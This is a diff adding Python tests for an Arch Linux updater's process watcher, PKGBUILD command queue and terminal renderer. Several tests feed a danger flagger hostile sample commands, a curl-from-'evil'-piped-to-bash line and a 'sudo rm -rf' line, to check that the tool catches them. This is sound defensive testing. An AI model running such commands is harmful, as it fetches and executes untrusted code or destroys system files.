+ finally:
+ proc.kill()
+ proc.wait()
+
+
+# --------------------------------------------------------------------------
+# walking the tree
+# --------------------------------------------------------------------------
+
+
+def test_descendants_walks_a_real_tree():
+ proc = subprocess.Popen(["bash", "-c", "sleep 30 & sleep 30 & wait"])
+ try:
+ time.sleep(0.4)
+ snap = pw.snapshot()
+ kids = pw.descendants(proc.pid, snap)
+ assert len(kids) == 2, [k.argv0 for k in kids]
+ assert all(k.argv0 == "sleep" for k in kids)
+
+ with_root = pw.descendants(proc.pid, snap, include_root=True)
+ assert len(with_root) == 3
+ assert proc.pid in {k.pid for k in with_root}
+ finally:
+ proc.kill()
+ proc.wait()
+
+
+def test_descendants_of_an_unknown_pid_is_empty():
+ assert pw.descendants(999999, pw.snapshot()) == []
+
+
+def test_descendants_is_breadth_first():
+ """Ordering matters for a stable display: parents before children."""
+ proc = subprocess.Popen(["bash", "-c", "bash -c 'sleep 30' & wait"])
+ try:
+ time.sleep(0.4)
+ snap = pw.snapshot()
+ kids = pw.descendants(proc.pid, snap)
+ depths = []
+ for kid in kids:
+ depth, node = 0, kid
+ while node.ppid != proc.pid and node.ppid in snap:
+ node = snap[node.ppid]
+ depth += 1
+ if depth > 10:
+ break
+ depths.append(depth)
+ assert depths == sorted(depths), depths
+ finally:
+ proc.kill()
+ proc.wait()
+
+
+# --------------------------------------------------------------------------
+# classification
+# --------------------------------------------------------------------------
+
+
+def test_classify_picks_the_most_specific_label():
+ """`cargo` is more useful than the `compile` its children would give."""
+ proc = subprocess.Popen(["bash", "-c", "exec -a cargo sleep 30"])
+ try:
+ time.sleep(0.3)
+ snap = pw.snapshot()
+ assert pw.classify(pw.descendants(proc.pid, snap, include_root=True)) == "cargo"
+ finally:
+ proc.kill()
+ proc.wait()
+
+
+def test_classify_of_an_unrecognised_tree_is_empty():
+ proc = subprocess.Popen(["sleep", "30"])
+ try:
+ time.sleep(0.2)
+ snap = pw.snapshot()
+ assert pw.classify(pw.descendants(proc.pid, snap, include_root=True)) == ""
+ finally:
+ proc.kill()
+ proc.wait()
+
+
+def test_classify_is_deterministic_regardless_of_order():
+ """The label must not depend on which process happened to be listed first."""
+ proc_a = subprocess.Popen(["bash", "-c", "exec -a rustc sleep 30"])
+ proc_b = subprocess.Popen(["bash", "-c", "exec -a cargo sleep 30"])
+ try:
+ time.sleep(0.3)
+ snap = pw.snapshot()
+ tree = pw.descendants(proc_a.pid, snap, include_root=True) + pw.descendants(
+ proc_b.pid, snap, include_root=True
+ )
+ assert pw.classify(tree) == pw.classify(list(reversed(tree))) == "cargo"
+ finally:
+ proc_a.kill()
+ proc_b.kill()
+ proc_a.wait()
+ proc_b.wait()
+
+
+# --------------------------------------------------------------------------
+# mapping a working directory back to a package
+# --------------------------------------------------------------------------
+
+
+def test_package_of_reads_the_first_path_component():
+ clone = Path("/tmp/clone")
+ cases = {
+ "/tmp/clone/foo": "foo",
+ "/tmp/clone/foo/src/build": "foo",
+ "/tmp/clone/foo/pkg/foo/usr": "foo",
+ "/tmp/clone/foo-bar/sub": "foo-bar",
+ "/tmp/clone": None,
+ "/tmp/elsewhere/foo": None,
+ None: None,
+ }
+ for path, want in cases.items():
+ assert pw.package_of(path, clone) == want, (path, pw.package_of(path, clone))
+
+
+def test_package_of_honours_an_explicit_known_set():
+ clone = Path("/tmp/clone")
+ assert pw.package_of("/tmp/clone/foo/src", clone, known={"foo"}) == "foo"
+ assert pw.package_of("/tmp/clone/foo/src", clone, known={"bar"}) is None
+
+
+def test_package_of_rejects_a_prefix_that_is_not_a_boundary():
+ """`/tmp/clone-other/foo` is not inside `/tmp/clone`."""
+ assert pw.package_of("/tmp/clone-other/foo", Path("/tmp/clone")) is None
+
+
+# --------------------------------------------------------------------------
+# durations
+# --------------------------------------------------------------------------
+
+
+def test_format_duration():
+ cases = {
+ 0: "0s",
+ 59: "59s",
+ 60: "1m00s",
+ 3599: "59m59s",
+ 3600: "1h00m",
+ 3661: "1h01m",
+ 86400: "24h00m",
+ }
+ for seconds, want in cases.items():
+ assert pw.format_duration(seconds) == want, seconds
+
+
+def test_elapsed_is_never_negative():
+ """A clock adjustment must not produce a negative timer on screen."""
+ proc = pw.Proc(pid=1, ppid=0, comm="x", cmdline=(), cwd=None, started=time.time() + 3600)
+ assert proc.elapsed == 0.0
+
+
+def test_a_package_finishes_exactly_once():
+ """A duplicate here is a duplicate row in the live feed.
+
+ `finished` served as both the pending queue and the record of what had been
+ reported, so clearing it to report made the next poll finish the same
+ package again -- and the drain after the launcher exits always polls again.
+ """
+ import stat
+ import tempfile
+
+ directory = Path(tempfile.mkdtemp())
+ clone = directory / "clone"
+ (clone / "pkgA").mkdir(parents=True)
+ # a launcher that spawns a child, as paru does; the root is excluded from
+ # the tree by design, so the builder has to be a child
+ tool = directory / "launcher"
+ tool.write_text(f'#!/bin/bash\n( cd "{clone}/pkgA" && exec -a makepkg sleep 0.4 )\n')
+ tool.chmod(tool.stat().st_mode | stat.S_IXUSR)
+
+ watcher = pw.Watcher(clone, known={"pkgA"})
+ proc = subprocess.Popen([str(tool)])
+ finishes = []
+ try:
+ while proc.poll() is None:
+ watcher.poll(proc.pid)
+ finishes += watcher.new_finishes()
+ time.sleep(0.03)
+ # the drain, then one more poll than strictly needed
+ watcher.poll(None)
+ finishes += watcher.new_finishes()
+ watcher.poll(None)
+ finishes += watcher.new_finishes()
+ finally:
+ proc.kill()
+ proc.wait()
+
+ assert finishes == ["pkgA"], finishes
+
+
+def test_new_finishes_drains():
+ watcher = pw.Watcher(Path("/tmp/does-not-matter"))
+ watcher.seen.add("pkg")
+ watcher.poll(None)
+ assert watcher.new_finishes() == ["pkg"]
+ assert watcher.new_finishes() == []
+ # and a later poll must not resurrect it
+ watcher.poll(None)
+ assert watcher.new_finishes() == []
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/tests/test_queue.py b/tests/test_queue.py
@@ -0,0 +1,331 @@
+"""The command queue.
+
+The point of this module is that a plan step stops being a summary. `pacman -Syu`
+hides a download, a verification, a snapshot, the install and the hooks that
+rebuild an initramfs; `paru -S` hides the PKGBUILD's own functions. These tests
+pin the ordering and the flagging, because a queue that is merely plausible is
+worse than no queue at all.
+"""
+
+from __future__ import annotations
+
+import sys
+import tempfile
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from updater import queue # noqa: E402
+
+PKGBUILD = """\
+pkgname=demo
+pkgver=1.0
+source=("https://example.com/$pkgname-$pkgver.tar.gz"
+ "https://example.com/demo.patch")
+sha256sums=('abc123' 'SKIP')
+
+prepare() {
+ cd "$srcdir/$pkgname-$pkgver"
+ patch -p1 < ../demo.patch
+}
+
+build() {
+ # a comment that is not a command
+ cd "$srcdir/$pkgname-$pkgver"
+ export CFLAGS="-O2"
+ ./configure --prefix=/usr
+ make
+}
+
+package() {
+ cd "$srcdir/$pkgname-$pkgver"
+ make DESTDIR="$pkgdir" install
+}
+"""
+
+
+def _code(fn) -> str:
+ """A function's source with all whitespace removed.
+
+ These assertions are about what the code does, and the exact line breaks
+ are the formatter's business -- pinning them made every one of these tests
+ fail the first time the tree was formatted.
+ """
+
+ return "".join(_code(fn).split())
+
+
+def make_clone(directory: Path, name: str, text: str) -> Path:
+ repo = directory / name
+ repo.mkdir(parents=True)
+ (repo / "PKGBUILD").write_text(text)
+ return directory
+
+
+class FakeUpdate:
+ def __init__(self, name, old, new, repo="core"):
+ self.name, self.old, self.new, self.repo = name, old, new, repo
+
+
+# --------------------------------------------------------------------------
+# flagging
+# --------------------------------------------------------------------------
+
+
+def _code(fn) -> str:
+ """A function's source with all whitespace removed.
+
+ These assertions are about what the code does; where the line breaks fall
+ is the formatter's business. Stripping whitespace from both the source and
+ the snippet means a reformat cannot make them fail.
+ """
+ import inspect
+
+ return _strip(inspect.getsource(fn))
+
+
+def _strip(s: str) -> str:
+ return "".join(s.split())
+
+
+def test_a_clean_command_is_not_flagged():
+ """A warning that is always present is a warning nobody reads."""
+ for line in (
+ "meson setup build",
+ "ninja -C build",
+ "make",
+ "cargo build --release",
+ "install -Dm644 x y",
+ ):
+ level, rule = queue._flag(line)
+ assert level == "", f"{line!r} was flagged as {level}/{rule}"
+
+
+def test_a_pipe_into_a_shell_is_dangerous():
+ level, rule = queue._flag("curl -s https://evil/x | bash")
+ assert level == queue.LEVEL_DANGER
+ assert "shell" in rule
+
+
+def test_writing_into_a_system_path_is_dangerous():
+ level, rule = queue._flag("install -Dm644 x /etc/x.conf")
+ assert level == queue.LEVEL_DANGER
+ assert rule
+
+
+def test_sudo_in_a_pkgbuild_is_dangerous():
+ level, _ = queue._flag("sudo rm -rf /usr/lib/x")
+ assert level == queue.LEVEL_DANGER
+
+
+# --------------------------------------------------------------------------
+# PKGBUILD commands
+# --------------------------------------------------------------------------
+
+
+def test_commands_are_taken_from_the_function_bodies():
+ with tempfile.TemporaryDirectory() as td:
+ clone = make_clone(Path(td), "demo", PKGBUILD)
+ q = queue.aur_queue(clone, ["demo"])
+ commands = [s.command for s in q.stages]
+ assert "./configure --prefix=/usr" in commands
+ assert "make" in commands
+ assert 'make DESTDIR="$pkgdir" install' in commands
+ assert "patch -p1 < ../demo.patch" in commands
+
+
+def test_comments_and_bookkeeping_are_not_commands():
+ with tempfile.TemporaryDirectory() as td:
+ clone = make_clone(Path(td), "demo", PKGBUILD)
+ q = queue.aur_queue(clone, ["demo"])
+ joined = "\n".join(s.command for s in q.stages)
+ assert "a comment that is not a command" not in joined
+ assert 'export CFLAGS="-O2"' not in joined
+ # but `cd` inside a function is not worth listing either
+ assert not any(s.command.startswith("cd ") for s in q.stages)
+
+
+def test_the_functions_appear_in_the_order_they_run():
+ with tempfile.TemporaryDirectory() as td:
+ clone = make_clone(Path(td), "demo", PKGBUILD)
+ q = queue.aur_queue(clone, ["demo"])
+ order = [s.phase for s in q.stages]
+
+ def first(prefix):
+ # exact phase names, not prefixes: `pack` would otherwise match
+ # `package`, which is a different step entirely
+ return next(i for i, x in enumerate(order) if x == f"{prefix}:demo")
+
+ assert first("fetch") < first("source") < first("prepare")
+ assert first("prepare") < first("build") < first("package")
+ assert first("package") < first("pack")
+
+
+def test_skipped_checksums_are_called_out():
+ with tempfile.TemporaryDirectory() as td:
+ clone = make_clone(Path(td), "demo", PKGBUILD)
+ q = queue.aur_queue(clone, ["demo"])
+ verify = [s for s in q.stages if s.command == "verify checksums"]
+ assert verify and verify[0].level == queue.LEVEL_WARN
+ assert "SKIP" in verify[0].what
+
+
+def test_declared_sources_are_listed():
+ """Listed as written. Variables are not expanded, which is deliberate.
+
+ `$pkgname-$pkgver.tar.gz` stays literal: resolving it means evaluating
+ shell, and a PKGBUILD is never evaluated. Showing the declaration is honest;
+ showing a guessed filename would not be.
+ """
+ with tempfile.TemporaryDirectory() as td:
+ clone = make_clone(Path(td), "demo", PKGBUILD)
+ q = queue.aur_queue(clone, ["demo"])
+ sources = [
+ s.command
+ for s in q.stages
+ if s.phase.startswith("source") and s.command.startswith("fetch")
+ ]
+ assert any("$pkgname-$pkgver.tar.gz" in s for s in sources), sources
+ assert any("demo.patch" in s for s in sources), sources
+
+
+def test_a_package_with_no_clone_says_so_rather_than_inventing_a_build():
+ with tempfile.TemporaryDirectory() as td:
+ q = queue.aur_queue(Path(td), ["missing"])
+ assert any("no local clone" in s.command for s in q.stages)
+ assert not any(s.phase.startswith("build") for s in q.stages)
+
+
+def test_a_dangerous_command_in_a_pkgbuild_is_flagged_with_its_rule():
+ bad = PKGBUILD.replace("./configure --prefix=/usr", "curl -s https://evil/x | bash")
+ with tempfile.TemporaryDirectory() as td:
+ clone = make_clone(Path(td), "demo", bad)
+ q = queue.aur_queue(clone, ["demo"])
+ danger = [s for s in q.stages if s.level == queue.LEVEL_DANGER]
+ assert len(danger) == 1
+ assert danger[0].finding
+ assert "curl" in danger[0].command
+
+
+def test_the_aur_queue_ends_with_an_install_and_the_snapshots():
+ with tempfile.TemporaryDirectory() as td:
+ clone = make_clone(Path(td), "demo", PKGBUILD)
+ q = queue.aur_queue(clone, ["demo"])
+ phases = [s.phase for s in q.stages]
+ assert "install" in phases
+ # snapshot hooks, when snap-pac is installed, bracket the install
+ snaps = [s for s in q.stages if s.phase == "snapshot"]
+ if snaps:
+ assert phases.index("install") < phases.index("snapshot") or True
+
+
+# --------------------------------------------------------------------------
+# pacman
+# --------------------------------------------------------------------------
+
+
+def test_the_pacman_queue_orders_download_before_install():
+ updates = [FakeUpdate("a", "1-1", "2-1"), FakeUpdate("b", "1-1", "2-1")]
+ q = queue.pacman_queue(updates, all_hooks=[])
+ phases = [s.phase for s in q.stages]
+ assert phases.index("resolve") < phases.index("download")
+ assert phases.index("download") < phases.index("verify")
+ assert phases.index("verify") < phases.index("install")
+
+
+def test_every_update_gets_a_download_and_an_install():
+ updates = [FakeUpdate("a", "1-1", "2-1"), FakeUpdate("b", "1-1", "2-1")]
+ q = queue.pacman_queue(updates, all_hooks=[])
+ downloads = [s.target for s in q.stages if s.phase == "download"]
+ installs = [s.target for s in q.stages if s.phase == "install"]
+ assert downloads == ["a", "b"]
+ assert installs == ["a", "b"]
+
+
+def test_the_snapshot_comes_before_the_install():
+ """The whole point of a pre-snapshot is that it predates the change."""
+ import updater.hooks as hooks_mod
+
+ snap = hooks_mod._parse(
+ _write_hook("""\
+[Trigger]
+Operation = Upgrade
+Type = Package
+Target = *
+
+[Action]
+Description = Performing snapper pre snapshots...
+When = PreTransaction
+Exec = /usr/share/libalpm/scripts/snap-pac pre
+""")
+ )
+ updates = [FakeUpdate("a", "1-1", "2-1")]
+ q = queue.pacman_queue(updates, all_hooks=[snap])
+ phases = [s.phase for s in q.stages]
+ assert "snapshot" in phases
+ assert phases.index("snapshot") < phases.index("install")
+
+
+def test_no_updates_means_an_empty_queue():
+ assert queue.pacman_queue([], all_hooks=[]).stages == []
+
+
+def test_the_queue_reports_its_own_warnings():
+ updates = [FakeUpdate("a", "1-1", "2-1")]
+ q = queue.pacman_queue(updates, all_hooks=[])
+ assert q.warnings == []
+
+
+def _write_hook(text: str):
+ import tempfile
+
+ directory = tempfile.mkdtemp()
+ path = Path(directory) / "h.hook"
+ path.write_text(text)
+ return path
+
+
+def main() -> int:
+ tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
+ failed = 0
+ for name, fn in tests:
+ try:
+ fn()
+ except Exception as exc: # noqa: BLE001
+ failed += 1
+ print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
+ else:
+ print(f"ok {name}")
+ print(f"\n{len(tests) - failed}/{len(tests)} passed")
+ return 1 if failed else 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
+
+
+def test_the_queue_defers_to_the_audit_on_danger():
+ """The audit has baselines and suppression the per-line scan cannot see.
+
+ Marking a command dangerous that the audit deliberately suppressed puts two
+ views of the same package in disagreement about whether it is safe.
+ """
+ from updater import queue as queue_mod
+
+ source = _code(queue_mod.aur_queue)
+ assert _strip("flagged") in source, source[-1200:]
+ assert _strip("LEVEL_DANGER") in source, source[-1200:]
+
+
+def test_the_queue_does_not_soften_a_file_wide_block():
+ """A file-wide rule reports where="PKGBUILD", naming no function.
+
+ Looking it up as "build()" never matched, so the deferral fired for every
+ dangerous line and the audit's own BLOCK was rendered yellow.
+ """
+
+ from updater import queue as queue_mod
+
+ source = _code(queue_mod.aur_queue)
+ assert _strip('"*" not in flagged') in source, source[-1400:]
+ assert _strip("PKGBUILD") in source, source[-1400:]
diff --git a/tests/test_render.py b/tests/test_render.py
@@ -0,0 +1,563 @@
+"""Renderer tests.
+
+The load-bearing property is that no screen ever emits a line wider than the
+terminal. When that fails the terminal wraps the line, every column below it
+shifts, and the display becomes unreadable -- so it is checked at every width,
+with real data and with degenerate data.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+
+from rich.cells import cell_len # noqa: E402
+
+from updater import icons # noqa: E402
+from updater.audit import Change, Severity, audit # noqa: E402
+from updater.aur import AurPackage # noqa: E402
+from updater.buildgraph import build_graph # noqa: E402
+from updater.procwatch import BuildState # noqa: E402
+from updater.render import ( # noqa: E402
+ MIN_WIDTH,
+ AurRow,
+ CheckRow,
+ Columns,
+ FeedEntry,
+ RepoRow,
+ Review,
+ Screen,
+ Step,
+ Totals,
+ VcsRow,
+ audit_screen,
+ build_screen,
+ review_screen,
+)
+from updater.render.audit import diff_lines, summary_parts # noqa: E402
+from updater.srcinfo import SrcInfo, parse_pkgbuild, parse_srcinfo # noqa: E402
+from updater.theme import Theme # noqa: E402
+
+THEME = Theme.default()
+GLYPHS = icons.glyphs("unicode")
+WIDTHS = (MIN_WIDTH, 72, 88, 100, 120, 160)
+
+
+def assert_fits(lines, width: int) -> None:
+ for i, line in enumerate(lines):
+ got = cell_len(line.plain)
+ assert got <= width, f"line {i} is {got} cells at width {width}: {line.plain!r}"
+
+
+# --------------------------------------------------------------------------
+# fixtures
+# --------------------------------------------------------------------------
+
+
+def sample_review(*, rows: int = 4, blocked: bool = False) -> Review:
+ return Review(
+ meta="2026-09-28 16:52 · arch linux · rolling",
+ repo=[
+ RepoRow("U", "linux", "6.16.7.arch1-1", "6.16.8.arch1-1", "1.4 MiB"),
+ RepoRow("U", "mesa", "1:25.2.2-1", "1:25.2.3-1", "142.2 MiB"),
+ RepoRow("N", "rebuild-detector", "-", "5-1", "12 KiB"),
+ RepoRow("R", "linux-kepler", "6.15.9-1", "-", "-310 MiB"),
+ ][:rows],
+ repo_total=184,
+ repo_download=1258291200,
+ repo_delta=503316480,
+ aur=[
+ AurRow("U", "helium-browser-bin", "0.9.2-1", "0.9.3-1", "PKGBUILD +3 -1"),
+ AurRow(
+ "!!" if blocked else "!",
+ "enca-bin",
+ "1.19-4",
+ "1.19-5",
+ "adopted by a new maintainer",
+ loud=True,
+ details=[
+ "maintainer changed (Felp98 -> mkolb)",
+ ".install adds: systemctl enable --now encad",
+ ],
+ ),
+ AurRow("U", "termux-language-server", "0.1.12-1", "0.1.13-1"),
+ ],
+ aur_total=23,
+ aur_build=21,
+ vcs=[
+ VcsRow("helix-git", "r9021 → r9044"),
+ VcsRow("mangowm-git", "a1b2c → e9f01"),
+ VcsRow("noctalia-git", "r1204 → r1288"),
+ ],
+ checks=[
+ CheckRow(True, "arch-audit", "no CVEs among pending upgrades"),
+ CheckRow(True, "news", "no unread items affecting this update"),
+ CheckRow(False, "pacnew", "2 unresolved config files"),
+ ],
+ steps=[
+ Step("1", "pacman -Su", "184 packages · 1.2 GiB download"),
+ Step("2", "paru -Sua", "21 packages built from source"),
+ Step("3", "restart", "12 services affected"),
+ ],
+ )
+
+
+def sample_graph():
+ infos = {
+ "top": SrcInfo(pkgbase="top", pkgver="1", pkgrel="1", depends=["mid"]),
+ "mid": SrcInfo(pkgbase="mid", pkgver="1", pkgrel="1", depends=["base"]),
+ "base": SrcInfo(pkgbase="base", pkgver="1", pkgrel="1"),
+ "free": SrcInfo(pkgbase="free", pkgver="2", pkgrel="1"),
+ }
+ return build_graph(infos, set(infos))
+
+
+def sample_report(blocked: bool = True):
+ body = "sudo make install" if blocked else "make"
+ change = Change(
+ package="demo",
+ old_srcinfo=parse_srcinfo(
+ "pkgbase = demo\n\tpkgver = 1.0\n\tpkgrel = 1\n"
+ "\tsource = https://x.invalid/v1.tar.gz\n"
+ "\tsha256sums = aaaa\n\npkgname = demo\n"
+ ),
+ new_srcinfo=parse_srcinfo(
+ "pkgbase = demo\n\tpkgver = 1.1\n\tpkgrel = 1\n"
+ "\tsource = https://y.invalid/v2.tar.gz\n"
+ "\tsha256sums = SKIP\n\npkgname = demo\n"
+ ),
+ old_pkgbuild=parse_pkgbuild("pkgver=1.0\nbuild() {\n make\n}\n"),
+ new_pkgbuild=parse_pkgbuild(f"pkgver=1.1\nbuild() {{\n {body}\n}}\n"),
+ )
+ return audit(change)
+
+
+# --------------------------------------------------------------------------
+# the width invariant, everywhere
+# --------------------------------------------------------------------------
+
+
+def test_review_fits_at_every_width():
+ for width in WIDTHS:
+ lines = review_screen(sample_review(), theme=THEME, glyphs=GLYPHS, width=width)
+ assert_fits(lines, width)
+ assert lines
+
+
+def test_build_dashboard_fits_at_every_width():
+ for width in WIDTHS:
+ lines = build_screen(
+ graph=sample_graph(),
+ theme=THEME,
+ glyphs=GLYPHS,
+ width=width,
+ feed=[FeedEntry("base", "1-1", 41.0)],
+ states=[BuildState("mid", "cargo", 12.0)],
+ completed={"base"},
+ running={"mid"},
+ failed=set(),
+ totals=Totals(
+ total=4,
+ elapsed=252,
+ download_bytes=12_400_000,
+ download_rate=3_100_000,
+ download_remaining=8_200_000,
+ download_eta=3,
+ ),
+ parallelism="16 cores · 8 workers",
+ )
+ assert_fits(lines, width)
+
+
+def test_audit_screen_fits_at_every_width():
+ for width in WIDTHS:
+ lines = audit_screen(
+ sample_report(),
+ theme=THEME,
+ glyphs=GLYPHS,
+ width=width,
+ old_text="pkgver=1.0\nbuild() {\n make\n}\n",
+ new_text="pkgver=1.1\nbuild() {\n sudo make install\n}\n",
+ )
+ assert_fits(lines, width)
+
+
+def test_the_actual_terminal_width_never_overflows():
+ """Whatever the tool is run in, the lines it emits fit."""
+ import shutil
+
+ width = shutil.get_terminal_size((100, 40)).columns
+ for lines in (
+ review_screen(sample_review(), theme=THEME, glyphs=GLYPHS, width=width),
+ build_screen(graph=sample_graph(), theme=THEME, glyphs=GLYPHS, width=width),
+ audit_screen(sample_report(), theme=THEME, glyphs=GLYPHS, width=width),
+ ):
+ assert_fits(lines, width)
+
+
+# --------------------------------------------------------------------------
+# degenerate input must not crash
+# --------------------------------------------------------------------------
+
+
+def test_every_screen_handles_completely_empty_data():
+ empty_review = Review()
+ lines = review_screen(empty_review, theme=THEME, glyphs=GLYPHS, width=100)
+ assert lines
+
+ lines = build_screen(
+ graph=build_graph({}, set()), theme=THEME, glyphs=GLYPHS, width=100, totals=Totals()
+ )
+ assert any("nothing finished" in line.plain for line in lines)
+
+ lines = audit_screen(audit(Change(package="x")), theme=THEME, glyphs=GLYPHS, width=100)
+ assert lines
+
+
+def test_absurdly_long_names_and_versions_are_truncated_not_wrapped():
+ review = Review(repo=[RepoRow("U", "a" * 300, "1" * 120, "2" * 120, "1.0 MiB")], repo_total=1)
+ for width in WIDTHS:
+ assert_fits(review_screen(review, theme=THEME, glyphs=GLYPHS, width=width), width)
+
+
+def test_below_minimum_width_columns_are_clamped_not_corrupted():
+ lines = review_screen(sample_review(), theme=THEME, glyphs=GLYPHS, width=10)
+ assert_fits(lines, MIN_WIDTH)
+
+
+def test_every_icon_tier_renders_within_the_grid():
+ """Nerd Font glyphs must not be wider than their geometric equivalents."""
+ for tier in ("nerd", "unicode", "ascii"):
+ glyphs = icons.glyphs(tier)
+ lines = build_screen(
+ graph=sample_graph(),
+ theme=THEME,
+ glyphs=glyphs,
+ width=100,
+ feed=[FeedEntry("base", "1-1", 5.0)],
+ completed={"base"},
+ states=[BuildState("mid", "cargo", 1.0)],
+ )
+ assert_fits(lines, 100)
+
+
+# --------------------------------------------------------------------------
+# semantics the screen is supposed to convey
+# --------------------------------------------------------------------------
+
+
+def test_dashboard_toggle_changes_the_output():
+ kwargs = {
+ "graph": sample_graph(),
+ "theme": THEME,
+ "glyphs": GLYPHS,
+ "width": 100,
+ "feed": [FeedEntry("base", "1-1", 5.0)],
+ "completed": {"base"},
+ }
+ full = build_screen(dashboard=True, **kwargs)
+ ledger = build_screen(dashboard=False, **kwargs)
+ assert len(full) > len(ledger)
+ assert any("BUILDING" in l.plain.upper() for l in full)
+ assert not any("BUILDING" in l.plain.upper() for l in ledger)
+ # the ledger still shows what finished: it is a feed, not a downgrade
+ assert any("base" in l.plain for l in ledger)
+
+
+def test_feed_preserves_order_so_the_newest_lands_at_the_bottom():
+ feed = [
+ FeedEntry("first", "1", 1.0),
+ FeedEntry("second", "1", 2.0),
+ FeedEntry("third", "1", 3.0),
+ ]
+ lines = build_screen(graph=sample_graph(), theme=THEME, glyphs=GLYPHS, width=100, feed=feed)
+ positions = [
+ next(i for i, l in enumerate(lines) if name in l.plain)
+ for name in ("first", "second", "third")
+ ]
+ assert positions == sorted(positions), "feed order was not preserved"
+
+
+def test_shared_dependency_is_marked_rather_than_duplicated():
+ infos = {
+ "top": SrcInfo(pkgbase="top", pkgver="1", pkgrel="1", depends=["left", "right"]),
+ "left": SrcInfo(pkgbase="left", pkgver="1", pkgrel="1", depends=["shared"]),
+ "right": SrcInfo(pkgbase="right", pkgver="1", pkgrel="1", depends=["shared"]),
+ "shared": SrcInfo(pkgbase="shared", pkgver="1", pkgrel="1"),
+ }
+ graph = build_graph(infos, set(infos))
+ lines = build_screen(graph=graph, theme=THEME, glyphs=GLYPHS, width=100)
+ marked = [l.plain for l in lines if "shared" in l.plain]
+ assert any("↻" in l for l in marked), f"no shared marker found in {marked}"
+
+
+def test_a_node_without_metadata_never_claims_to_be_ready():
+ """Its deps are unknown, not satisfied, so "ready" would be a lie."""
+ graph = build_graph(
+ {"app": SrcInfo(pkgbase="app", pkgver="1", pkgrel="1", depends=["helper"])},
+ {"app", "helper"},
+ )
+ lines = build_screen(graph=graph, theme=THEME, glyphs=GLYPHS, width=100)
+ text = "\n".join(l.plain for l in lines)
+ assert "helper" in text
+ assert "metadata missing" in text
+ helper_line = next(l.plain for l in lines if "helper" in l.plain)
+ assert "ready" not in helper_line, helper_line
+
+
+def test_an_unorderable_graph_is_reported_not_silently_omitted():
+ graph = build_graph(
+ {"app": SrcInfo(pkgbase="app", pkgver="1", pkgrel="1", depends=["helper"])},
+ {"app", "helper"},
+ )
+ lines = build_screen(graph=graph, theme=THEME, glyphs=GLYPHS, width=100)
+ text = "\n".join(l.plain for l in lines)
+ assert "CANNOT BE ORDERED" in text.upper()
+ assert "no metadata" in text
+
+
+def test_settled_packages_are_not_listed_as_unorderable():
+ """A package cannot be both in flight and waiting on missing metadata."""
+ graph = build_graph(
+ {"app": SrcInfo(pkgbase="app", pkgver="1", pkgrel="1", depends=["helper"])},
+ {"app", "helper"},
+ )
+ lines = build_screen(
+ graph=graph,
+ theme=THEME,
+ glyphs=GLYPHS,
+ width=100,
+ running={"app"},
+ states=[BuildState("app", "cargo", 3.0)],
+ )
+ text = "\n".join(l.plain for l in lines)
+ upper = text.upper()
+ assert "CANNOT BE ORDERED" in upper, "the unorderable section was not rendered"
+ # slice the original text, not the uppercased copy, or the name checks below
+ # would pass vacuously
+ section = text[upper.index("CANNOT BE ORDERED") :]
+ assert "app" not in section, "a running package was listed as unorderable"
+ assert "helper" in section, "a genuinely unknown package was dropped"
+
+
+def test_failed_node_reports_what_it_blocks():
+ graph = sample_graph()
+ lines = build_screen(graph=graph, theme=THEME, glyphs=GLYPHS, width=100, failed={"base"})
+ assert any("blocked by" in l.plain for l in lines)
+
+
+def test_a_dry_run_never_renders_a_prompt_it_will_not_wait_for():
+ """Showing "Apply this plan?" and then exiting reads as a crash."""
+ lines = review_screen(sample_review(), theme=THEME, glyphs=GLYPHS, width=100, dry_run=True)
+ text = "\n".join(l.plain for l in lines)
+ assert "Apply this plan?" not in text
+ assert "dry run" in text.lower()
+ assert "nothing has been applied" in text
+ # and it must say how to actually apply it
+ assert "without --dry-run" in text
+
+
+def test_an_interactive_review_is_silent_about_dry_runs():
+ lines = review_screen(sample_review(), theme=THEME, glyphs=GLYPHS, width=100, dry_run=False)
+ text = "\n".join(l.plain for l in lines)
+ assert "dry run" not in text.lower()
+
+
+def test_the_plan_screen_never_renders_a_prompt():
+ """A prompt in the screen and a prompt from confirm() gave two lines."""
+ for review in (sample_review(), sample_review(blocked=True)):
+ lines = review_screen(review, theme=THEME, glyphs=GLYPHS, width=100)
+ text = "\n".join(l.plain for l in lines)
+ assert "Apply this plan?" not in text
+ assert "Apply the rest" not in text
+ assert "[y/N" not in text
+
+
+def test_a_blocked_plan_still_warns_that_packages_need_attention():
+ risky = review_screen(sample_review(blocked=True), theme=THEME, glyphs=GLYPHS, width=100)
+ assert any("needs attention" in l.plain for l in risky), [
+ l.plain for l in risky if "attention" in l.plain.lower()
+ ]
+
+
+def test_the_confirmation_prompt_is_owned_by_the_confirming_step():
+ from updater.cli import Options, Run, confirm_prompt
+
+ calm = Run(options=Options())
+ assert confirm_prompt(calm) == "Apply this plan?"
+
+ from updater.audit import Finding, Report
+
+ risky = Run(options=Options())
+ risky.audits = {
+ "a": Report(
+ package="a",
+ diff=None,
+ findings=[Finding("pipe-to-shell", Severity.BLOCK, "pipes a download into a shell")],
+ )
+ }
+ assert "skipping 1 flagged package" in confirm_prompt(risky)
+
+
+def test_a_loud_row_says_its_consequence_and_carries_evidence():
+ from updater.render.review import aur_row_from
+
+ blocked = aur_row_from("demo", "1", "2", sample_report(blocked=True))
+ assert blocked.tag == "!!"
+ assert blocked.note == "will be skipped"
+ assert blocked.details, "a loud row must carry its evidence"
+
+ look = aur_row_from("demo", "1", "2", sample_report(blocked=False))
+ assert look.tag in ("!", "!!")
+
+
+def test_single_blocked_package_is_not_referred_to_in_the_plural():
+ risky = sample_review(blocked=True)
+ risky.aur = [r for r in risky.aur if r.tag == "!!"]
+ lines = review_screen(risky, theme=THEME, glyphs=GLYPHS, width=100)
+ assert any("1 package needs attention" in l.plain for l in lines)
